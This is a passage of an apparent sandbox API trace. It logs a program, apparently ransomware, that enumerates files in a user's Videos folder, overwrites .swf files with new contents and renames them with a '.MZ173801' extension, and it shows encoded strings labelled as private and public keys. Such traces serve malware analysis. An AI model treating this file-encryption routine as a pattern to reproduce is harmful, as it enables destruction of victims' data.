nFileSizeHigh=0x0, nFileSizeLow=0x7774, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="_S_HmVM73NsxZnk99.swf.MZ173801", cAlternateFileName="_S_HMV~1.MZ1")) returned 1 [0166.402] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.402] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.402] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71d0140, ftCreationTime.dwHighDateTime=0x1d5e1af, ftLastAccessTime.dwLowDateTime=0xd9f80370, ftLastAccessTime.dwHighDateTime=0x1d5e0c0, ftLastWriteTime.dwLowDateTime=0x8d2ec46f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x7774, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="_S_HmVM73NsxZnk99.swf.MZ173801", cAlternateFileName="_S_HMV~1.MZ1")) returned 0 [0166.402] GetLastError () returned 0x12 [0166.402] FindClose (in: hFindFile=0xa1b850 | out: hFindFile=0xa1b850) returned 1 [0166.402] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e5ae0, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0xb042dc20, ftLastAccessTime.dwHighDateTime=0x1d5e968, ftLastWriteTime.dwLowDateTime=0xb042dc20, ftLastWriteTime.dwHighDateTime=0x1d5e968, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="aUIpFDwEiCcpzrSkPaW0", cAlternateFileName="AUIPFD~1")) returned 1 [0166.402] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0166.402] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0166.402] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e5ae0, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0xb042dc20, ftLastAccessTime.dwHighDateTime=0x1d5e968, ftLastWriteTime.dwLowDateTime=0xb042dc20, ftLastWriteTime.dwHighDateTime=0x1d5e968, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b850 [0166.402] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e5ae0, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0xb042dc20, ftLastAccessTime.dwHighDateTime=0x1d5e968, ftLastWriteTime.dwLowDateTime=0xb042dc20, ftLastWriteTime.dwHighDateTime=0x1d5e968, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0166.402] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a54f5c0, ftCreationTime.dwHighDateTime=0x1d5e1bf, ftLastAccessTime.dwLowDateTime=0x6a8e99b0, ftLastAccessTime.dwHighDateTime=0x1d5e537, ftLastWriteTime.dwLowDateTime=0x6a8e99b0, ftLastWriteTime.dwHighDateTime=0x1d5e537, nFileSizeHigh=0x0, nFileSizeLow=0xeddb, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="MX9apbEfVsUdHsYol.swf", cAlternateFileName="MX9APB~1.SWF")) returned 1 [0166.402] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0166.402] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\mx9apbefvsudhsyol.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a54f5c0, ftCreationTime.dwHighDateTime=0x1d5e1bf, ftLastAccessTime.dwLowDateTime=0x6a8e99b0, ftLastAccessTime.dwHighDateTime=0x1d5e537, ftLastWriteTime.dwLowDateTime=0x6a8e99b0, ftLastWriteTime.dwHighDateTime=0x1d5e537, nFileSizeHigh=0x0, nFileSizeLow=0xeddb)) returned 1 [0166.403] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\mx9apbefvsudhsyol.swf")) returned 0x20 [0166.403] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf", dwFileAttributes=0x80) returned 1 [0166.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.470] GetCurrentThreadId () returned 0xab4 [0166.470] GetCurrentThreadId () returned 0xab4 [0166.470] GetCurrentThreadId () returned 0xab4 [0166.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24aff6c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.471] GetCurrentThreadId () returned 0xab4 [0166.471] GetCurrentThreadId () returned 0xab4 [0166.471] GetCurrentThreadId () returned 0xab4 [0166.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\mx9apbefvsudhsyol.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xeddb [0166.472] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.472] ReadFile (in: hFile=0x27c, lpBuffer=0x24b7d70, nNumberOfBytesToRead=0xeddb, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b7d70*, lpNumberOfBytesRead=0x19f480*=0xeddb, lpOverlapped=0x0) returned 1 [0166.473] CloseHandle (hObject=0x27c) returned 1 [0166.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\mx9apbefvsudhsyol.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.476] WriteFile (in: hFile=0x27c, lpBuffer=0x24c7da0*, nNumberOfBytesToWrite=0xeddb, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24c7da0*, lpNumberOfBytesWritten=0x19f48c*=0xeddb, lpOverlapped=0x0) returned 1 [0166.478] CloseHandle (hObject=0x27c) returned 1 [0166.481] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\mx9apbefvsudhsyol.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\MX9apbEfVsUdHsYol.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\mx9apbefvsudhsyol.swf.mz173801")) returned 1 [0166.482] GetCurrentThreadId () returned 0xab4 [0166.482] GetCurrentThreadId () returned 0xab4 [0166.483] GetCurrentThreadId () returned 0xab4 [0166.483] GetCurrentThreadId () returned 0xab4 [0166.483] GetCurrentThreadId () returned 0xab4 [0166.483] GetCurrentThreadId () returned 0xab4 [0166.483] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b99fe0, ftCreationTime.dwHighDateTime=0x1d5e1ac, ftLastAccessTime.dwLowDateTime=0xa3c59870, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0xa3c59870, ftLastWriteTime.dwHighDateTime=0x1d5e229, nFileSizeHigh=0x0, nFileSizeLow=0xb527, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="rsEEM5nZHG-x.swf", cAlternateFileName="RSEEM5~1.SWF")) returned 1 [0166.483] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.483] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.483] GetFileAttributesExW (in: 